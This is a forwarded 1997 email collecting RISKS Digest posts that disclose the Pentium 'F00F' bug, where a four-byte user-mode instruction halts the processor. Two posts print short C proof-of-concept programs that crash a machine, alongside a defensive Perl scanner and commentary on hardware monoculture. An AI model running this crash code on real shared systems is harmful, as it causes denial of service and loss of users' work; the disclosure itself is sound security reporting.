There tends to be a lot of the following sort of stuff that floats around unattributed, like the email viruses, and such. The following is documented, attributed, and _is_ something you should worry about. Please forward this message around your usual distribution lists. If you work at a company with lots of computers, you're invited to print this up and give it to the people who manage them for you. (If you have lots of computers at your company, and _no one_ to manage them for you, I'm looking for a new gig; have someone call me. :-) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- This message was originated 11 November 1997, by jra@baylink.com... headers have a way of disappearing. Enclosed are four messages from the RISKS Digest, an email forum on risks to the public in computers and related systems, which is one of the oldest standing regular pieces of editory on the Internet. It documents a recently discovered bug in the Intel Pentium<tm> and MMX<tm> processors, which allows user-level code to halt the processor. This is bad because these chips commonly support multi-tasking, and often multi-user, systems; halting such systems arbitrarily can destroy users' work. There appears to be no way to work around this problem that has been discovered as of 11 Nov 97; the only thing I can suggest is be _exceptionally_ careful about running programs the parentage of which you're not certain on production machines... which is good practice, anyway. The first three messages detail the problem, in increasingly technical detail, including a program to demonstrate the problem, and one to search for files containing the deadly instruction; the last message discusses some of the potential implications, and why we should know better. By way of clarification, all processors have a halt instruction. All current multi-tasking operating systems run the processor in such a mode that such instructions are not actually executed as a halt; control is transferred back to the OS. That is: Intel blew it. Badly. RISKS-LIST: Risks-Forum Digest Tuesday 11 November 1997 Volume 19 : Issue 45 FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks) ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator ***** See last item for further information, disclaimers, caveats, etc. ***** ------------------------------ Date: Tue, 11 Nov 1997 16:39:41 -0500 From: Chuck Weinstock <weinstock@SEI.CMU.EDU> Subject: New Pentium flaw To summarize, according to today's *Wall Street Journal*: The Pentium and Pentium MMX chips apparently can be halted by a single, unprotected, instruction. Over 200 million computers with these chips are expected to be deployed by year-end. My favorite quote from the article is by Linley Gwennap, editor of *Microprocessor Report* in Sunnyvale, who says that "most PC users shouldn't be overly concerned since they would only be affected if they were the target of a malicious attack." My second most favorite quote came from Tom Waldrop of Intel in Santa Clara who "confirmed that someone with malicious intent could exploit the flaw to cause a system to crash. But a hacker would have to have an ability to send programs to a computer in machine code, rather than the conventional computer languages that most programmers use." [We all know how hard that is...actually maybe these days it is, can we count on the fact that few people know how to write machine code these days?] Chuck Weinstock ------------------------------ Date: 09 Nov 1997 09:26:39 +0100 From: Torsten Hilbrich <Torsten.Hilbrich@bln.de> Subject: New Pentium flaw Yesterday (Nov, 8) I found the following information on the news-ticker page of the German Heise-Verlag (shortened to the essential information):
The Pentium in standard and MMX version halts on execution of the instruction: F0 0F C7 C8 This code sequence works independent of any memory protection of the operating system.
I was able to reproduce this bug on a Pentium 133 system with the following operating systems: DOS, Windows 95, Linux 2.0.31, and FreeBSD 2.2.x. I don't know about PentiumPro and Pentium II. The risk? Every pentium based server with user access for executing programs can be crashed using this code sequence. Not to mention Trojan Horses or Active-X controls. Here is an example program: unsigned char hang[] = { 0xf0, 0x0f, 0xc7, 0xc8 }; int main() { void (*kill)(); kill = hang; kill(); /* return can be omitted as there is none */ } More information and example programs for various operating systems can be found on http://www.ccc.de Torsten Hilbrich [Also noted by Jeff Anderson-Lee <jonah@EECS.Berkeley.EDU> citing an item from Peter Curran in comp.security.unix, 7 Nov 1997. PGN] ------------------------------ Date: Mon, 10 Nov 1997 01:07:34 -0600 (CST) From: "Steven O. Siegfried" <sos@dial324.skypoint.net> Subject: New Pentium flaw New Intel Pentium risk: user mode program locks up system The following program, when compiled and run in __USER__ mode on any Pentium (reported as MMX or not, don't know about Pentium II yet) will lock-up the system. > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > main () > { > void (*f)() = x; > f(); > } Any user can execute this program at the lowest level of security provided by the following operating systems: OS/2, NT, W95, Linux. When I tried it, I could _only_ recover by power-cycling my box. The following perl script, courtesy of Sam Trenholme via the security mailing list at Redhat Software is reported to find _all_ occurences of this code sequence on systems running Linux. (It found my bomb program after I used it to kill my system as a test.) It can probably be adapted for use on other operating systems. > #!/usr/bin/perl > # Source: Sam Trenholme via linux-security@redhat.com mailing list. > # There is no known software fix to the F0 0F C7 C8 bug at this time. > # usage: $0 dir > # Where dir is the directory you recursively look at all programs in > # for instances of the F0 0F C7 C8 sequence. > # This script will search for programs with this sequence, which will > # help sysadmins take appropriate action against those running such > # programs. > # This script is written (but has not been tested) in Perl4, to > # insure maximum compatibility . > sub findit { > local($dir,$file,@files,$data) = @_; > undef $/; > if(!opendir(DIR,$dir)) { > print STDERR "Can not open $dir: $!\n"; > return 0; > } > @files=readdir(DIR); > foreach $file (@files) { > if($file ne '.' && $file ne '..') { > if( -f "$dir/$file" && open(FILE,"< $dir/$file")) { > $data=<FILE>; > if($data =~ /\xf0\x0f\xc7\xc8/) { > print "$dir/$file contains F0 0F C7 C8\n"; > } > } elsif( -d "$dir/$file") { > &findit("$dir/$file"); > } > } > } > } > $dir = shift || '/home'; > > &findit($dir); Basically, there's no protection from this. Adjust your execution of downline loaded absolutes accordingly. Steve Siegfried sos@skypoint.com sos1@xtl.msc.edu ------------------------------ Date: Sat, 8 Nov 1997 12:06:42 -0500 (EST) From: "Cary B. O'Brien" <cobrien@access.digex.net> Subject: Recent Pentium opcode bug like Monoclonal Agriculture [...] Once again I am reminded of the parallels between nearly complete market domination by a hardware or software product, and the risks of monoclonal agriculture (*). In either case a flaw (be it a hardware error, software bug, or susceptibility to a strain of bacteria or virus) has the potential to cripple an entire industry, with serious sociological consequences. (cf., the Irish Potato Famine). To me, at least, these parallels reinforce the importance of the government's responsibility to prevent monopolistic activity on the part of corporations. Loss of technological diversity is nearly as bad as the loss of genetic diversity (although far easier to reverse). Cary O'Brien (*) By this I mean when a majority of the farms grow genetically identical products. ------------------------------ Date: 1 Apr 1997 (LAST-MODIFIED) From: RISKS-request@csl.sri.com Subject: Abridged info on RISKS (comp.risks) The RISKS Forum is a MODERATED digest. Its Usenet equivalent is comp.risks. => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) if possible and convenient for you. Or use Bitnet LISTSERV. Alternatively, (via majordomo) DIRECT REQUESTS to <risks-request@csl.sri.com> with one-line, SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or INFO [for unabridged version of RISKS information] => The INFO file (submissions, default disclaimers, archive sites, .mil/.uk subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info The full info file will appear now and then in future issues. *** All contributors are assumed to have read the full info file for guidelines. *** => SUBMISSIONS: to risks@CSL.sri.com with meaningful SUBJECT: line. => ARCHIVES are available: ftp://ftp.sri.com/risks or ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks [volume-summary issues are in risks-*.00] [back volumes have their own subdirectories, e.g., "cd 18" for volume 18] or http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]. The ftp.sri.com site risks directory also contains the most recent PostScript copy of PGN's comprehensive historical summary of one liners: get illustrative.PS ------------------------------ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Cheers, -- jra -- Jay R. Ashworth High Technology Systems Consulting Ashworth Designer Linux: Where Do You Want To Fly Today? & Associates ka1fjx/4 Crack. It does a body good. +1 813 790 7592 jra@baylink.com http://rc5.distributed.net NIC: jra3